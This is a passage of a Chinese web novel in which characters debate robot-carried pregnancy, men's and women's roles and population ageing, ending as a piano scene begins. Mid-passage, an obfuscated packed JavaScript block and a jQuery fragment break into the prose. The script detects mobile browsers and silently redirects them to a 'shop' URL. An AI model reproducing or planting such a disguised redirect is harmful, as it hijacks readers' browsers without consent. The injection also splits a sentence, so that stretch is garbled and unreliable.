解人口结构问题，为社会提供更多的劳动力资源。
而反对者会将这些支持者的言论一一驳回。
反对者认为，支持者对个体生命没有尊重，只把人当成一种消耗品、电池、人矿，而不是有尊严的生命体，这是一种极端的达尔文主义，弱肉强食的野蛮思想。
而轻视母亲和主妇群体的人，他们自己本身就不尊重女性这个群体，为了追求所谓的自由和强大，抛弃作为母亲或者父亲的责任，甚至侮辱女性的特征，要求女人必须强大，做大女人，他们口口声声喊着女权，要消灭父权，可是却没有意识到他们正在被传统父权所灌输的思想影响。大女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678109|131817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的对面就是大男人，本质上是把男人的强定义为强，垄断了强大的定义，女人要向男人看齐，这些人兜兜转转，最终认可的还是男人，是强大的父权力量，而不是女性。
反对者更指出，母亲和家庭主妇对这个世界的贡献也是庞大的，只有极端肤浅的人才认为她们没有贡献，剥夺践踏她们的价值。
机器人的人造子宫可以代替女性生育的痛苦和风险，女性可以不用再管家庭，的确是有一定道理，可是即便在传统的社会关系中，孕育子女也是夫妻双方共同的责任，而且现实中很多男性已经淡化自己的责任，一旦机器人代替了现实中的人，成为伴侣，孕育子女，父母都可以撇清自己的责任，将孩子交给机器人，那本质上还是丧偶式婚姻，只不过换成了机器人丧偶，其中一方只顾着享受，不想负责，孩子会缺乏父爱或母爱。甚至可能发展到父母双方都是机器人，那人类还有什么存在的意义？
至于降低人口老龄化，用机器人生育更多的劳动人口，那这些劳动人口能做什么？维护机器人吗？职业都被机器人替代了，还要那么多人干什么？
人口老龄化，不是因为人类生不出来孩子，而是因为人类不愿意生，生了养不起，又或者不想承担相关责任。如果机器人生子被有钱人垄断，那么社会将加剧分裂，如果没有垄断，可以轻易得到，随便让不负责任的父母轻松有孩子，那将是孩子的悲哀。
总之，这场关于机器人生子的争论，在互联网上争论不休，双方都觉得自己占据了真理的制高点。
也有人干脆躺平了，觉得人类毁灭算了，不婚不育，天下太平。
管他机器人的人造子宫，还是人类自然生育，他们通通都不生，就把地球让给机器人。
在不断的争论之中，纳维智科公司市值暴涨至2.7万亿美元。
＊
阳光如同细密的金线，柔和地穿过窗帘的缝隙，散布在乐室里。
乐室内有十几种乐器，或在乐架上，或放在地上，偌大的空间十分敞亮。
翟仲廷的身影被阳光映衬得格外耀眼，一身剪裁得体的黑色西装，衬出他挺拔的身姿，他优雅地坐在一架古典钢琴前，手指修长如玉，随着琴键